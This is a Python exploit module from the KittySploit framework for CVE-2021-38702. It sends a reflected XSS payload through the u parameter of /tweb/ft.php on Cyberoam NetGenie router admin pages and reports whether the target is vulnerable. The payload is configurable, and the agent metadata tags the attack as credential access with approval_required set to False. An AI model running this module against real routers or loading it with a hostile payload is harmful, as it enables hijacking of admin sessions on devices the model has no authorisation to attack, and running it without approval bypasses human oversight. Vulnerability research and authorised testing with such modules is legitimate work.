Cyberoam NetGenie XSS (CVE-2021-38702)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Cyberoam NetGenie reflected XSS (CVE-2021-38702)."""

import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Cyberoam NetGenie XSS (CVE-2021-38702)',
        'description': (
            'Exploits CVE-2021-38702 in Cyberoam NetGenie: reflected XSS via the u '
            'parameter of /tweb/ft.php on router admin interfaces.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-38702'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-38702'],
        'tags': ['cyberoam', 'netgenie', 'router', 'xss', 'vkev'],
        'agent': {
            'risk': 'medium',
            'effects': ['credential_access'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['admin_surface'],
            'chain': {'suggested_followups': ['scanner/http/cve_2021_38702_detect']},
        },
    }

    xss_payload = OptString(
        '</script><script>alert(document.domain)</script>',
        'XSS payload for u parameter',
        required=False,
    )

    def check(self):
        probe = urllib.parse.quote(str(self.xss_payload or '</script><script>alert(document.domain)</script>'), safe='')
        path = f'/tweb/ft.php?u={probe}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and '</script><script>alert(document.domain)</script>' in body:
            return {'vulnerable': True, 'reason': 'NetGenie XSS confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'NetGenie XSS not reflected', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('Cyberoam NetGenie not vulnerable')
            return False
        print_success('Reflected XSS confirmed on /tweb/ft.php')
        self.vulnerable()
        return True